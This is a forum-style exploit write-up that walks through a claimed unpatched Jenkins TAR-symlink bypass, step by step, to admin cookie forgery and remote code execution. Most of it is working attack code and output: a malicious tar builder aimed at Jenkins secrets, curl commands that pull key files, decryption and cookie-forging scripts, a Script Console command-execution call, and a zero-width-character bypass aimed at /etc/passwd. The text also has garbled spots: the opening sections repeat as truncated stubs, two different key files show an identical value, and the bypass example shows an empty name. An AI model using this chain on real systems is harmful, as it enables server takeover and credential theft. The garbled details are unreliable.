How I Lead FilePath.untarFrom() Symlink Bypass to Admin RCE story about Jenkins (CVE-2026-19429)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Summary
Jenkins validates where a symlink is placed during TAR extraction but never validates what it points to. Every patch Jenkins has released (CVE-2026-33001, CVE-2026-70427) fails to address this. A low-priv user crafts a malicious
Jenkins has not released a fix. This affects the latest version (2.576) right now.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Root Cause
The CVE-2026-33001 patch only checks that the symlink file itself lands inside the workspace.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Step 1 — Craft Malicious TAR
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Step 2 — Extract & Read Secrets
Add to Jenkins build step:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Step 3 — Decrypt MAC Key
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Step 4 — Forge Admin Cookie
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Step 5 — RCE via Script Console
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Bonus — CVE-2026-70427 Blank-Name Bypass (Jenkins 2.576)
Jenkins 2.576 added a blank-name check using
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Full Chain
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
References
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Summary
Jenkins validates where a symlink is placed during TAR extraction but never validates what it points to. Every patch Jenkins has released (CVE-2026-33001, CVE-2026-70427) fails to address this. A low-priv user crafts a malicious
.tar.gz, extracts it via a build step, reads Jenkins cryptographic secrets through the symlink, forges a valid admin session cookie offline, and gets RCE through the Script Console — with zero admin interaction.Jenkins has not released a fix. This affects the latest version (2.576) right now.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Root Cause
Code:
// hudson/FilePath.java — readFromTar() method
if (te.isSymbolicLink()) {
new FilePath(f).symlinkTo(te.getLinkName(), TaskListener.NULL);
// ^^^^^^^^^^^^^^^^
// NEVER validated — can point anywhere on the filesystem
}
The CVE-2026-33001 patch only checks that the symlink file itself lands inside the workspace.
te.getLinkName() — what the symlink resolves to — has never been validated in any Jenkins version.━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Step 1 — Craft Malicious TAR
Code:
import tarfile, io
def make_symlink_tar(symlink_name, target_path, output_file):
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode="w:gz") as tf:
info = tarfile.TarInfo(name=symlink_name)
info.type = tarfile.SYMTYPE
info.linkname = target_path
info.size = 0
tf.addfile(info)
with open(output_file, "wb") as f:
f.write(buf.getvalue())
make_symlink_tar("secrets", "/var/jenkins_home/secrets", "exploit.tar.gz")
Code:
$ python3 make_tar.py && tar -tzvf exploit.tar.gz
lrwxrwxrwx 0/0 0 2026-08-11 00:00 secrets -> /var/jenkins_home/secrets
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Step 2 — Extract & Read Secrets
Add to Jenkins build step:
tar -xzf exploit.tar.gz
Code:
$ curl -u developer:pass http://jenkins/job/my-job/ws/secrets/master.key
e282e234c6a63d3a67e980557b89e470aae09c9b8f14a535934eb83df41c11be
$ curl -u developer:pass http://jenkins/job/my-job/ws/secret.key
e282e234c6a63d3a67e980557b89e470aae09c9b8f14a535934eb83df41c11be
$ curl -u developer:pass http://jenkins/job/my-job/ws/secrets/ -o mac.key
% Total % Received
100 48 [+] MAC key file saved (48 bytes encrypted)
$ curl -u developer:pass "http://jenkins/job/my-job/ws/users/admin_c6a448.../config.xml" \
| grep -A1 UserSeedProperty
<seed>cb3ff81666cb8934</seed>
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Step 3 — Decrypt MAC Key
Code:
import hashlib
from Crypto.Cipher import AES
MAGIC = b"::::MAGIC::::"
def decrypt_confidential(master_key_str, ciphertext_bytes):
# Jenkins derives AES-128 key as SHA256(master.key)[0:16]
aes_key = hashlib.sha256(master_key_str.encode()).digest()[:16]
plain = AES.new(aes_key, AES.MODE_ECB).decrypt(ciphertext_bytes)
return plain[:-len(MAGIC)] if plain.endswith(MAGIC) else plain
with open("master.key") as f: master_key = f.read().strip()
with open("mac.key", "rb") as f: mac_enc = f.read()
mac_key = decrypt_confidential(master_key, mac_enc)
print(f"[+] MAC key: {mac_key.hex()}")
Code:
$ python3 decrypt.py
AES-128 key : 29af5cab3e74f9443dbed5ea3d1c0688
[+] MAC key : d14522f32d157b477ca8e67f0d482459e9bed6a8ce3c95505a6dba59fe0c6095
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Step 4 — Forge Admin Cookie
Code:
import hmac, hashlib, base64, time, requests
def forge_cookie(mac_key, secret_key, username, user_seed):
expiry = int((time.time() + 14 * 86400) * 1000)
token = f"{username}:{expiry}:{user_seed}:{secret_key}"
sig = hmac.new(mac_key, token.encode(), hashlib.sha256).hexdigest()
return base64.b64encode(f"{username}:{expiry}:{sig}".encode()).decode()
with open("secret.key") as f: secret_key = f.read().strip()
forged = forge_cookie(mac_key, secret_key, "admin", "cb3ff81666cb8934")
print(f"[+] Cookie: {forged}")
# Verify
s = requests.Session()
s.cookies.set("remember-me", forged)
r = s.get("http://jenkins/whoAmI/api/json")
print(r.json())
Code:
$ python3 forge.py
[+] Cookie: YWRtaW46MTc4NzY0MjQyNjE4MDo3MDA1MTF...
Verification → {"name": "admin", "anonymous": false, "authorities": ["authenticated"]}
[+] ADMIN SESSION — 0 admin interaction required
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Step 5 — RCE via Script Console
Code:
crumb_r = s.get("http://jenkins/crumbIssuer/api/json").json()
r = s.post("http://jenkins/scriptText",
headers={crumb_r["crumbRequestField"]: crumb_r["crumb"]},
data={"script": 'println "id".execute().text'})
print(r.text)
Code:
$ python3 rce.py
uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins)
[+] REMOTE CODE EXECUTION CONFIRMED
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Bonus — CVE-2026-70427 Blank-Name Bypass (Jenkins 2.576)
Jenkins 2.576 added a blank-name check using
String.isBlank(). Java does not classify Unicode zero-width characters as whitespace — bypassed with U+200B:
Code:
make_symlink_tar("", "/etc/passwd", "bypass.tar.gz")
Code:
# Result on Jenkins 2.576 (latest):
CREATED: name=(invisible) link=true target=/etc/passwd ✓
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Full Chain
Code:
Low-priv Jenkins account (Item/Configure + Item/Build)
│
├─ 1. craft tar.gz → symlink: secrets → /jenkins/secrets/
├─ 2. trigger build (self-triggered, no admin needed)
├─ 3. workspace browser → read master.key, mac.key, secret.key, admin seed
├─ 4. [offline] decrypt MAC key (AES-ECB + SHA256)
├─ 5. [offline] forge admin remember-me cookie
└─ 6. cookie → admin session → /script → RCE
↑
Zero admin interaction at any step
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
References
- CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-19429
- Jenkins Advisory 2026-03-18: https://www.jenkins.io/security/advisory/2026-03-18/
- Jenkins Advisory 2026-08-05: https://www.jenkins.io/security/advisory/2026-08-05/
👍31
😁9
👏6
💯7
LIMB